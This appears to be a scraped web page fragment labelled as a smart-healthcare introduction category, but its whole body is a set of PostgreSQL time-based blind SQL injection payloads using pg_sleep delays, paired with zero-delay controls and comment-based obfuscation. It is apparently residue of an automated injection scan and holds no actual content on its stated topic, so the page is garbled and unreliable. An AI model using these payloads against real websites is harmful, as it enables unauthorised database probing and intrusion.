Category: 智慧醫療簡介

123456’/**/and(select’1’from/**/pg_sleep(7))::text>’0

123456

123456’/**/and(select’1’from/**/pg_sleep(0))::text>’0

123456

123456/**/and(select+1/**/from/**/pg_sleep(7))>0/**/

123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/